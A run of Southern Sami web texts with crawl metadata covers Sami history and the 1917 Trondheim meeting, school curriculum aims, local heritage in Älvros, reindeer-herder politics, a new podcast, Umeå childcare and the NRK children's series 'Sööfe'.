aktem jearsoes tsåeptsiem jïjtse siebriedahkesne jïh jïjtse kultuvresne sjugniedidh.\nGoh ussjedihks jïh eadtjohke indivijde jïh ektievoete, almetjh maehtieh viehkiehtidh jïjtjemse hammoedidh, jïh dovne tsevtsedh jïh tsevtseme sjïdtedh sijjen byjreskijstie. Goh moralske indivijde almetje dïedtem åtna sov dahkoej åvteste, aaj dej dahkoej åvteste mejtie mubpieh skraejriem vaalteme. Siebriedahkefaagen tjïrrh learohkh voerkesvoetem evtiedieh guktie dah maehtieh dam gietskies jïh abpeveartenen ektievoetem jïh sijjen jieledem tsevtsedh.\nDaajroe siebriedahken jïh politihken bïjre aktem aarvoem jïjtsinie åtna, jïh lea seamma tïjjen daerpies gosse edtja meatan årrodh demokratijesne. Daajroe dan politihkeles systeemen bïjre Nöörjesne, Saepmesne jïh gaskenasjovnaale siebriedahkesne learoehkidie voerkele politihke lea laavenjostoe, ovvaantoe, tsevtseme jïh gelliesåarhts faamoeåtnoe. Siebriedahkefaagen tjïrrh learohkh dïrregh åadtjoeh analyjseradidh jïh digkiedidh histovreles jïh sjyöhtehke siebriedahkegyhtjelassh, damtijidh jïh digkiedidh ovmessie faamoe-ektiedimmieh, jïh aalkoe-almetji jïh unnebelåhkoej tsiehkiem jïh reaktah analyjseradidh.\nJis edtja aktem monnehke evtiedimmiem buektiehtidh dle daerpies tsiehkiem guarkedh eatnemen jïh dej almetjesjugniedamme byjreski gaskem. Siebriedahkefaage edtja skreejredh guktie vielie voerkes sjædta ektiedimmiej bïjre dorjemassen jïh åtnoem gaskem, jïh mah konsekvensh vierhtieåtnoe jïh jieledeåtnoe maehtieh utnedh eatnamasse, klijmese jïh monnehke evtiedæmman. Barkoen tjïrrh faagine learohkh sijhtieh aelhkebelaakan aarvoem haestiemijstie guarkedh teknologijen jïh entreprenørskapen bïjre, jïh dah sijhtieh daajroem evtiedidh barkoejieleden jïh abpeveartenen, nasjovnaale jïh persovneles ekonomijen bïjre.\nSiebriedahkefaage lea ovmessie åejviesuerkine juakeme mah aktem elliesvoetem sjugniedieh. Faage edtja maehtelesvoetem eevtjedh digkiedidh, ussjedidh jïh dåeriesmoerh loetedh siebriedahkesne, viehkine lastoem jïh maehtelesvoetem tsevtsedh daajroem ohtsedh siebriedahken jïh kultuvren bïjre. Daajroen tjïrrh siebriedahken jïjtse bïjre, learohkh onterdieh jïh tjetskehke sjidtieh jïh skraejriem åadtjoeh ussjedidh jïh sjugneden barkose. Naemhtie fïerhte learohke maahta jïjtjemse jïh mubpiej buerebelaakan guarkedh, haalvedh jïh tsevtsedh dam veartenem gusnie jielieminie, jïh skraejriem åadtjodh orre daajroem åadtjodh jïh abpe jieleden lïeredh.\nSide 1 Av 10","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Formaal?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2019-11-15T09:33:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668618.8\/warc\/CC-MAIN-20191115093159-20191115121159-00486.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":440,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klicka på bilderna för ett större format.\nBuerie båeteme Älvrosese\nÄlvrose Ljusnan gaedtien lïhke gællesje. Nommem 1200 taaleste båata jïh daaroengïelesne baakoem goerkele ahte göökte jeanoeh njåålmedahkem darjoen. Nommen daaroen maadtoe lij\nÆlfuar os jïh Noerhtejeanoen johkenjaelmie Ljusnanse lea. Älvros medeltïjjesne båeries gålkoelasjbaalkan lïhke gællasji – Härjulfbaalkam, mij Herjedaelien tjïrrh böötin jïh orrijin S:t Olofen kraevien lïhke Nidarosesne, mij daelie Tråante.\nAktem gærhketjem gujht voenesne joe dellie lij. Aatijste mah gaavneme lea aktem ruevtiejaepiekraeviem mij gååvnese, måedtie vijremesvaalkh mah vijremesvaalkesysteemesne meatan leah, ruevtiebeetsuvh, tjaetsiejuhtije vietjerh, slagvarpe jïh jienebh goh 60 blästervuebnieh mah medeltïjjeste båetieh.\nAktem biehkiem Älvroseste gåarede aaj eatneme-museeumisnie Skansene, Stuehkesne vuejnedh. Desnie Älvrosgaertene gååvnese mij aktem sjïere noerhtesvïenske gaertenem, ståapoejgujmie Älvroseste ihke jielemem 1600 taalen nuelesne vuesiehtidh gosk aalkoem 1800-taalesne. Akten gaertienisnie mij seamma stoerre goh Älvrosgaertenem 1800-taalen aalkovistie utni aktem hierkiem, vïjhte govsh, vïjhte gaelpieh, njielje gaajhtsh, göökte tjillegh, göökte buehkieh, luhkieakte sïrvh jïh göökte laamph. Barkoem kreekigujmie vihkielommes jieliemisnie lij. Tjohkehts eatnemh jïh stoerre leevehskåakh nuhtjin goh gåatoemasse jïh gåatomelaantese. Skåakejielemem ovmessie aatijste, vijremem, göölemem jïh åesiestimmiem goh vuaksajgujmie, lij vihkeles lissiebarkoeh ihke dejpeli jielemem buektedh. Giesege dle laanteburriem jïh barkoem kreekigujmie mejgujmie gïehtelin. Daelvege dle ålmide skåajjesne barkin jïh sjeltiej gåajka mïnnin.\nÄlvrose – voenem göökte gærhkoejgujmie\nÄlvrosen orre gærhkoem jaepiem 1883 illeldahkesne lij jïh pruvhkien abpe jaepesne gusnie aktem tjåanghkenimmiegåetiem aaj. Båeries medeltïjje gærhkoem, sov klahkastapelinie, gaedtien lïhke gællesje, noerhtejeanoen luspesne jïh ajve giesege pruvhkien. Båeries gærhkoem 1570-80 taalesne bigkin jïh dan sæjjan 1638 juhtin gusnie daelie tjåådtje ihke 1730 taalesne jeatjahtehtin mænngan gosk bigkeme. Tjognh 1700 taaleste gærhkosne gååvnese mij gorredamme, vuesiehtimmien gaavhtan aktem kristneldheengkelem jïh aktem kristneldhgaeriem.\nDaelvege maahtah lopmedoenehkinie böönese Andåsjaavran vaeltedh. Herjedaeliegaertenen lïhke laavkomesijjiem gååvnese mij voenedåehkiem buerielaakan vaarjele. Voenen saavreseplehtesne datne aktem juelkietjeengkereplehtiem gaavnh, tenniseplehtiem, bouleplehtiem jïh aktem eatneme-campingem. Skåajjesne jïh eatnamisnie datne maahtah muerjieh tjöönghkedh, vijredh, mosippam vuejnedh jïh saavredh. Voenen almetjh leah væjkeles orreme, sjïere tjoejkemelaateginie. Musihke aaj buerie vuekiem voenesne. Gellieh væjkeles spïelijh Älvroseste båetieh. Giesege dle såemies aejkien laaroedaantsomem stealladien.\nBuerie båeteme!\nSidinformation","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/kommun.herjedalen.se\/omkommunen\/kartor\/informationstavlorikommunen\/informationstavlaalvros.4.72e78ea1157f6caac32200b7.html","date":"2019-11-22T07:41:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671245.92\/warc\/CC-MAIN-20191122065327-20191122093327-00150.warc.gz","language":"sma","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999959468841553}","num_words":318,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GÏELH ÅARJELRAEDTESTE\n\"Bumannen hadde språket, skriften, dokumentene, lovverket. Vi hadde ingenting. De fikk bokført sin saga. De fikk bokført sine eiendommer og rettigheter– ofte på vår bekostning. Vi kom inn i dokumentene bare som statister. VÅR HISTORIE BLE ALDRI SKREVET PÅ VÅRE PREMISSER.\"\nLars Holm, 1950-tallet, gjengitt i Kaare G. Rogstads Streif i sør-samenes saga, 1980\nAareh 1900-låhkoen raejeste jienebh saemieh eelkin gïelem lutnjedh sijjen reaktaj åvteste. Laakejarkelimmieh jïh akte sïerreden vuajnoe almetji vööste akten nöörjen jienebelåhkoen luvnie tjarke saemiej jieledevåaromem tsavtsi. Joekoen åarjene doh båatsoedajvh lin tjarke åhtjanamme, jïh saemien gïele jïh kultuvre lin tjarke behtjiedimmien nuelesne.\n– Røros-saemien siebriedahke jïh orre aejkie\nAkten tjarke politihkeles eadtjohkevoeten gaavhtan dïhte voestes tjåanghkoe gaajhkide saemide abpe laantesne öörnesovvi Tråantesne 1917. Konsekvensi gaavhtan \"saemielaakijste\" (lappelovene) jïh stuvrehtimmie båatsoste 1800-låhkoen minngiegietjesne dle jeenjesh sïjhtin saemien reaktah nænnoestehtedh. Tseegkeme saemien siebrijste 1900-låhkoen aalkoelisnie vuajnalgi goh vihkeles juktie jarkelimmiem buektiehtidh.\nDennie nöörjen nasjovnebigkemisnie jåartaburrie symbovline sjïdti båetijen aajkan, jïh saemien kultuvre idtji daennie guvvesne sjïehth. Vitenskapeles teorijh jïh nænnoes politihkeles faamoeh laakejarkelimmieh hoksin mah jåartaburride aevhkieh vedtin mejtie saemien reaktah tjoerin maeksedh. Saemien jieledevåarome tjarke håvhtadamme sjïdti jïh juhtijealmetji jieledevuekie ånnetji ånnetji nåhkeli. Destie stoerre jarkelimmieh sjïdti saemien siebriedahkesne.\nDaate vuasahtalleme lïhkebe vuartesje man åvteste rijhketjåanghkoe 1917 öörnesovvi. Gæmhpoe saemien reaktaj åvteste ij leah badth orrijamme gænnah. Annje aarkebiejjie gellide saemide stuvresåvva båeries laakijste jïh aktede jienebelåhkoesiebriedahkeste mij veartenem vuajna aktedenöörjen perspektijveste. Seamma tïjjen jïjnje sjugniehtovvemedej 30 minngemes jaepiej mij akten hijven otnjegen vööste tjuvtjede, jïh saemien årrojh Nöörjesne lea daan biejjien aalkoealmetjinie jååhkesjamme.\nRøros-saemien dajve lea Mearohken luvhtie noerhtene Engerdalen gåajkoe åarjene jïh Trollheimen gåajkoe jillene. Båatsoe, gïele jïh vætnoe leah vihkeles biehkieh saemien kultuvresne.\nDoh daeverh mah leah vuesiehtamme daesnie leah lööneme Norske Folkemuseumistie jïh dah sïjse tjöönghkesovvin boelhken 1889–1950. Jienebh dejstiedaevierijstie akten juhtijealmetji jieledevuekien bïjre soptsestieh mij lij mahte nåhkeminie 1917.\nRørosmuseet daejtie gæjhta\nSaemiedigkie\/Sametinget, Åarjel-Trööndelagen fylhkentjïelte\/Sør-Trøndelag fylkeskommune, Rørosen tjïelte\/Røros kommune, Stiftelsen UNI, RørosBanken jïh\/og Røros E-verk ekonomeles dåarjoen åvteste \/ for økonomisk støtte.\nNorsk Folkemuseum mij viehkine orreme ihke doh saemien daeverh dan ellen voestes aejkien leah vuesiehtamme Rørosesne \/ Norsk Folkemuseum som har muliggjort at de samiske gjenstandene for første gang stilles ut på Røros.\nEllen Kristin Bull Jonassen mij åarjelsaemien gïelese jarkoestamme \/ Ellen Kristin Bull Jonassen for oversettelse til sørsamisk.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/rorosmuseet.no\/gelh-aarjelraedteste","date":"2019-11-17T15:13:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669183.52\/warc\/CC-MAIN-20191117142350-20191117170350-00437.warc.gz","language":"sma","language_score":0.9994570613,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999457061290741}","num_words":362,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RIJHKETJÅANGHKOE TRÅANTESNE 1917\n\"Aar 1917 den 6te februar kl 12 middag traadte det første landsmøte for lapper sammen i metodistkirken i Trondhjem, som for anledningen velvillig var overladt møtet. Noget over 150 lapper fra lappedistrikterne Finmarken, Tromsø, Helgeland, Grong, Snaasen, Meraker og Røros var fremmødt, liksom der ogsaa var møtt representanter fra de svenske lapper.\"\nGoevten 1917 saemieh sijjen voestes abpelaanten politihkeles tjåanghkoem hööltin mij lij saemien ïedtji bïjre. Daate rijhketjåanghkoe lea sjïeke man åvteste saemiej åålmegebiejjie lea goevten 6.b. Årganisasjovnegyhtjelasse lij eevre jarngesne dej aamhtesi gaskem mejtie tjåanghkosne Tråantesne gïetedin. Båatsoegåatomeaamhtese jïh Lappeloven (Saemielaake) lin bæjjese bïejeme goh jïjtsh aamhtesh, seamma lij Skuvlegyhtjelasse. Tjåanghkoe 150 tjirkijh abpe Saepmeste tjöönghki.\nRijhketjåanghkoe 1917 lij illedahke aktede barkoste sïejhme almetjijstie åarjelsaemien dajvesne. Jaepietjuetien aalkoelisnie jienebh lin saemien reaktaj bïjre luagkanamme, jïh Elsa Laula Renberg Helgelaanteste lij dïhte mij skraejriem veelti akten tjåanghkose abpe laantese. Saemien siebrieh abpe åarjelsaemien dajvesne tseegkesovvin fïerhtene fylhkesne. Jaepiej 1907–1908 dovne Søndre- jïh Nordre Trondhjems amti saemiesiebrieh lin tseegkesovveme, jïh Helgelaanten Saemien Siebrie tseegkesovvi 1910. Siebriej ektie visjovne lij aktem bijjemes rijhkesiebriem tseegkedh. Daam visjovnem idtjin saetniedehtieh, men lij akte vihkeles aamhtese rijhketjåanghkosne 1917.\nRijhketjåanghkoen aamhtese bovtsegåatomen bïjre lij joekoen sjyöhtehke, dan åvteste tjåanghkoe lij seamma tïjjen goh lij reakta-aamhtesh bovtsegåatomereaktaj bïjre – ij goh unnemes Røros-saemien dajvesne. Båatsoelaake mij faamoem åadtjoeji 1880- jïh 1890-jaepiej, jïh sjïehtesjimmie båatsoesïjtijste 1894 lin vædtsoes båatsose, dovne praktihkeles jïh ekonomeles. Båatsoesaemieh stoerre haestemi uvte tjåadtjoejin, jïh vïenhtin dah sïjhtin stuerebe faamoem åadtjodh jis ektesne tjåadtjoejin. Læjhkan idtji dïhte voestes abpelaanten siebrie, Nöörjen Båatsoesaemiej Rijhkesiebrie, tseegkesovvh åvtelen 1947.\nSkuvleaamhtese lij aaj akte vihkeles digkiedimmieteema. Dan mearan staate ij lij dïedtem vaalteme ööhpehtimmiem sjïehteladtedh saemien maanide. Finnemisjovnen skuvle Havikesne Namsosen lïhke tseegkesovvi 1910, jïh lij dïhte aajnehke ööhpehtimmiefaalenasse mij lij sjïere dejtie saemien learoehkidie.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/rorosmuseet.no\/rijhketjaanghkoe-tr%C3%A5antesne-1917","date":"2019-11-17T15:04:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669183.52\/warc\/CC-MAIN-20191117142350-20191117170350-00533.warc.gz","language":"sma","language_score":0.9999456406,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999456405639648}","num_words":275,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Polmak båatsoe tjïelte lea Ellinor M Jåma, nammoehtamme goh NBR´n orre åvtehke\nGaskedajven båatsoe tjïelte, jaepie tjåanghkoem åtneme, gusnie akte aamhtese lij giem edtjieh NBR´n åvtehkine dåarjedidh. Gaske dajven båatsoe tjïelten åvtehke Mattias Jåma jeahta.\n– Mijjieh daan bijre digkiedamme jih mijjieh laatjkeme edtjebe Ellinor Jåmam nænnoestidh.\nGiem edtja Noerhtelaanten båatsoe saemieh dåerjedidh?\nIj leah Noerhtelaante, båatsoesaemiej fylhkesiebrie, daan bijre jaepie tjåanghkosne digkiedamme gænnah!Mannasinie ij? Åvtehke Mads Kapfjell vaestede.\n– Daan gaavhtan, mijjieh sijhtebe NBR´n veeljeme komitte, edtja barkedh jih dejtie sjiehtelommes almetjidie ohtsedidh.\nMads Kappfjell tuhtjie vihkeles jih NBR´n åårganisasjovnem jih politihkem nænnoestidh.\n– Tjoeveribie aaj båatsoe jieleme barkoem nænnoestehtedh.\nJïjtje veeljedh.\nGiem edtjede dijjieh åvtehkinie dåarjedidh?\n– Mijjieh baajebe, mijjien delegath jijtje jïermiestidh, giem åvtehkinie veeljedh.\nHijven barkeme.\nÅarjel dajven båatsoe saemieh, jaepie tjåanghkosne latjkin, jeahta åvtehke Lars Åge Bransfjell.\n–Nov amma! Edtjebe Ellinor Jåmam goh NBR åvtehkine dåarjedidh jih nænnoestidh. Dihte sjiehteles jih væjkeles nyjsenæjja.\nKarasjohke johti sami saervi, jeahteme dah aaj edtjieh Jåmam goh åvtehkine dåarjedidh. Ij leah ennje gaajhkh båatsoesaemie siebrieh daan bijre raarastalleme.\nNøørjen båatsoe saemiej rijhkesaervie lea 13-14 .b. 2014 Vadsøsne.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.nrk.no\/sapmi\/nbr-avtehke-1.11754429","date":"2019-12-15T07:53:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541307797.77\/warc\/CC-MAIN-20191215070636-20191215094636-00467.warc.gz","language":"sma","language_score":0.9999759197,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999759197235107}","num_words":172,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tipse åtnose:\nTsagkesh\nEdtjh guhkiebasse båetedh ih daarpesjh tsagkesidh. Daate funksjovne lea sjïere dåehkide.\nMaam daarpesjh?\nFlash våaroemisnie nedtesæjjan.\nDatne Adobe Flash Player 9 daarpesjh, jallh urrebe versjovne.\nDaam programmem namhtah åadtjoeh. Leessh programmem: www.adobe.com\nGïeleveeljeme\nDiedtieh gïeleveeljeme jallh domenenomme:\nosko.no - daaroen\nosku.no - noerhtesaemien\njahkko.no - luvlesaemien\njaahkoe.no - åarjelsaemien\nGuktie darjodh?\nGosse låavhtgåetien, tjaetsiem, såekiem, eatnemem, gærhkoem jallh biejjiem deadtah, dellie aamhtesidie båatah. Edtjh åvtebealan vihth båetedh, dle dam bååstedebåaloem deadtah, garrabielien bijjiebielesne. Sæjroenummere jïh man gellie sæjroeh fïerhne aamhtesisnie vååjnoes sæjroen bijjiebielesne. Edtjh dohkh diekie sæjrojne båetedh, dle deadtah dejtie njoelide låhkoej uvte jallh duekesne. Dej guvviejgujmie garrabielesne vaadtsah vuelieaamhtesi jïh spieli gåajkoe.\nSaalme\nNedtesijjien saalmh mejtie datne maahtah laavlodh jih bæjjese vaeltedh, jïh jïjtjemdh goltelidh. Ij gåaredh laavlomidie våålese leessedh.\nEdtjh jïjtjedh gïelem bæjjese vaeltedh, diedtieh \"laavloeh\" båaloem.\nEdtjh jïjtjedh goltelidh diedtieh \"Goltelh jïjtjedh\" båaloem.\nBarketje\nNedtesijjien jïjnjh ovmessie barketjh. Naan barketjh lea jïjtsestaeriedihks, jeatjah barketjinie åadjtoeh tjaeledh maam sïjhth, jïh barketjidie maahtah olkese tjaeledh jallh nedtelohkehtæjjan gåajkoe seedtedh. Nedtelohketæjja dejtie seedteme barketjidie tjaalasåvva, jïh dijjieh mah gaajhkh barketjidie vaestede aktem baalhkam påastine åadtjoeh.\nSoptsestimmie\nNedtesijjien jïjnjh soptsestimmiebarketjh. Datne maahtah soptsestidh giejnie sïjhth, dovne geervigujmie jih maanajgujmie. Datne lïerh gosse soptsesth.\nPopup-steegkeme\nJis datne Win XP service pack 2 åtnah, dle daarpesjh popup-steegkemem jamhkelidh jis edtjh buektiehtidh illedahkh j.n.v. vöörhkedh.\nAelkehth Internet Explorer jïh vaedtsieh diekie: Verktøy - Popup-blokkering - Innstillinger for Popupblokkering.\nFiejliebievnesh ActiveX-kontrollen bïjre\nJis datne Win XP (service pack 2) åtnah, dellie kanne fiejliebïevnesem åadtjoeh datne tjoerh ActiveC-kontrollem lissiehtidh. Dam lissehth gosse ActiveX-kontrollen diedtieh.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.abc-company.no\/osku\/ss\/tips.html","date":"2019-12-12T10:31:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540543252.46\/warc\/CC-MAIN-20191212102302-20191212130302-00265.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":243,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan giesien mænngan akte orre åarjelsaemien podcaste man nomme «Åarjelsaemien Åssjalommesh» lea båeteme, gusnie dunnie urplay.se gååvnese. Dunnie orre åarjelsaemien podcastesne golme åarjelsaemien noerh pryövieh ovmessieh gyjhtelasside vaestiedidh jïh raeriestidh. Ina Theres Sparrok, Maja Sööfe Fjällström jïh Tåamma Bransfjell leah dah golme noerh mejtie dunnie podcastesne soptsestieh, jïh Patricia Fjällgren lea dan åarjelsaemien podcasten åvtehke.\n-Manne tuhtjem vihkeles gïelem vuesiehtidh jïh nuhtjedh. Dan gaavhtan rïekte jaavoe jeehtim. Mænngan dellie gihtjim magkerh aamhtesh jïh man bïjre edtjimh utnedh. Dellie leah gyjhtelassh gieriesvoeten bïjre jïh ovmessieh jeatjah 'case'. Vïenhtem vihkeles hov lea jïh tuhtjem dah gyjhtelassh leah buerie. Juktie dah gyjhtelassh nuhtegs åarjel-saepmesne jïh abpe saepmesne. Lea hijven-ligkie maam joem båata jïh gïelem vuesehte, Tåamma jeahta.\nDaan åarjelsaemien podcasten åvtelen joe mahte gååvnese seamma podcaste noerthesaemide jïh julevsaemide mejtie seamma aamhtesen bïjre. Dannasinie daate podcaste åarjelsaemiengïelesne lea dïhte minngemes sijjie gusnie podcaste lea dorjeme. Tåamma aaj jeahta numhtie ovmessieh gyjhtelassh noerthesaemiej jïh åarjelsaemiej gaskesne jïh dan gaavhtan åarjelsaemieh aaj hov jïjtje podcastem daarpesjieh.\nTåamma jeahta gåessie tijje lea ihke ahte podcasth jïh dagkeres sosijaale meedijan aamhtesh gååvnesieh, jïh dellie hov maehtebe dah aevhkine nuhtjedh. Juktie gååvnesh hov jïh dellie mannasinie ij hillem nuhtjedh? Hååhkesjem vielie dagkeres podcasth, åenehks filmh jallh journalistihke båetieh, juktie hijven-ligkie maam joem deahpade.\n-Daaroen sïebriedahkese aaj vuesiehtidh ihke gïele jeala. Feerh ij gujhth gïelem gåvla jis bovrese mïnnedh jallh skuvlesne. Juktie ij saemien faage lea jeatjah learohkidie, numhtie lea baarre saemien learohkidie. Dellie dagkeres podcaste ahte gaajhkesh maehtieh pocastem goltelidh dovne saemieh, daatjah jïh gaajhkh. Dellie vuesehte ij baarre mubpide saemide, mohte jeatja siebriedahkese aaj, Tåamma jeahta.\nMinngemosth Tåamma jeahta hååhkesje jienebh dagkeres prosjekth sjidtieh, vuesiehtimmien gaavhtan vielie podcasth, bloggh jallh maam akt. Dïhte jeahta fonhterde jis lea naanh mah sijhtieh v.g. bloggh tjaeledh, dellie gååvnesieh almetjh mah sijhtieh lohkedh. Dellie jeahta lea dagkeres haesteme jeatjah almetjidie mejtie sijhtieh gïelem nuhtjedh.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/rorosnytt.no\/taamma-tuhtjie-hijven-orre-aarjelsaemien-podcaste-lea-baeteme\/","date":"2019-12-16T04:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00289.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":303,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle jïh maanahokse\nFörskola och barnomsorg\nAarhskuvle maanide\nMaanah gaskem akte jïh vïjhte jaepieh maehtieh aarhskuvlesne årrodh mearan eejhtegh\/åelieh berkieh, eejhtege-eejehtimmesne jallh barkoem ohtsedieh. Aaj fuelhkiebiejjiehïejmh (biejjiemaanasuvhtije) gååvnesieh jeenjemes Upmejen årromedajvine. Dah seamma organisasjovnesne goh aarhskuvlh jïh skuvlh Upmejisnie. Dah maanah unnebe tjïertine biejjiemaanasuvhtiji gåetine årroeh.\nGolmen jaepien raejeste gaajhkh maanah nuepiem åadtjoeh golme tæjmoeh biejjesne aarhskuvlesne årrodh seamma saaht eejhtegi\/åeliej tsiehkesne. Maanide biejjiemaanasuvhtijinie sijjiem aarhskuvlesne faala.\nOhtsemegoerem aarhskuvlese jïh fuelhkiebiejjiehïejmese dængkoeh jïh seedtieh skuvlekontovrese. Jis viehkiem daarpesjh goerem dievhtedh skuvlekontovre datnem viehkehte.\nJïjjegaahpode darjoe maanide 1–12 jaepiej\nMaanah 1–12 jaepiej båeries gïeh iehkede-, jïjje- jïh hïeljehoksem daarpesjieh maehtieh sijjiem Aftonstjärnan luvnie åadtjodh mij Berghem:sne, Skidspåret 6, Upmeje. Darjoe dejtie maanide giej eejhtegh iehkeden jïh jïjjege berkieh. Reaktam sæjjan åadtjoeh tjoerh hoksem daarpesjh unnemes göökten aejkien askesne. Gåabpatjahkh eejhtegh tjoerijægan seamma aejkien iehkeden jallh jïjjege barkedh.\nIj sijjiem åadtjoeh jis akte eejtegistie eejehtimmesne, skïemtje-tjåålemisnie jallh eejhtege-eejehtimmesne.\nEejhtegh jïjtje mïnnemem jïjjegaahpode aarhskuvle-se\/-ste öörnieh. Skuvlemaanah reaktam utnieh\nSijjiem aarhskuvledarjosne jïh skuvlemaanahoksesne nihtetjistedh\nSijjiem tjaaleldh edtja sjïere goeresne nihtetjistedh jïh dam seedtie viehkiehtæjjese gie sijjieh joekede dennie dajvesne. Nihtetjistetïjje göökte askh. Webbbedïenesjem e-legitimasjovnine åelkiesbielesne nåhtede jallh goerem webbesijjeste veedtjedh jïh dam olkese tjaeledh. Maahtah aaj goerem prievine gåatan åadtjodh jis viehkiehtæjjam ringkh.\nNihtetjistetïjje aalka juhtedh dan biejjien raejeste gosse goere viehkiehtæjjese båateme. Tjoerh åasam nihtesjistetïjjem maeksedh.\n090-16 28 14\n090-16 10 00 (veksele)\nDah goerh sveerjengïelesne.\nIh daarpesjh sïjse loggedh, dïenesje sveerjengïelesne.\nWebbedïenesje e-legitimasjovnem kreava jïh viehkietekste englaantengïelesne.\nSidan har granskats 2018-09-24","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/aarhskuvlejihmaanahokse.4.3f5fc95914ce7bcf45114cea.html","date":"2019-12-14T06:15:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540584491.89\/warc\/CC-MAIN-20191214042241-20191214070241-00449.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":229,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Sööfe\" NRK Superasse båata goeven\nJARKOESTÆJJA: ELLEN BULL JONASSEN\n–Åarjelsaemien jïh julevsaemien dajve maana jïh noere-tv-produksjovnh ohtselieh, jïh mijjese joekoen vihkeles maehtedh dam faalehtidh. Mijjieh dan joekoen aavrehke juktie dan hijven laavenjostoem TMM produksjonerigujmie utnebe, mij lea raajroem \"Sööfe\" dorjeme jïh mijjieh tjarke aavoedibie daam raajroem vuesiehtidh goeven. Akte joekoen tjaebpies jåvlevadtese sjædta dovne saemien jïh nöörjen maanide. Åarjelsaemien noere-tv:m darjodh gïelem nænnoste jïh dovne maanide, noeride jïh geerve almetjidie madtjeldahta gïelem lïeredh, NRK:n maana-tv-redaktööre Norleif Krokmo jeahta.\nNRK Superisnie\nRaasten rastah filmefestivaalesne lij voestes aejkien filmem vuesiehti. Almetjh Sööfe-raajroem stoerre aavojne dåastoehtin jïh varke mijjieh aaj, mah eah lin festivaalesne, åadtjobe dejnie åarjelsaemien nïejtine åahpenidh. Raajroe \"Sööfe\" voestes aejkien båata NRK Superen nedtesæjrosne goeven raejeste. Orrejaepien raejeste raajroe TV:se båata.\nLuhkie boelhki tjirrh mijjieh dam 11 jaepien båeries Sööfem dåeriedibie. Dïhte Tråantesne orre åarjelsaemien tjidtjine jïh nöörjen aehtjine. Gåetesne jïjnjem åarjelsaemien soptsestieh, men sov urbaane aarkebiejjien ij Sööfe dan jïjnjem sov saemien maadtoen bïjre ussjedh. Gosse tjidtjien fuelhkiem vååksje miesiemïerhkesjimmesne, dïhte damta daate lea ovnohkens kultuvre. Gosse tjidtj-aajja sealede, dellie geerve sjædta dam aerpievuekien saemien jieledem jieledh, eevre goske Sööfe saemien voelpem åådtje mij satnem meatan vaalta gïelebeasan jïh satnem vielie bovtsi bïjre leara.\nMijjieh Sööfen fealadimmesne 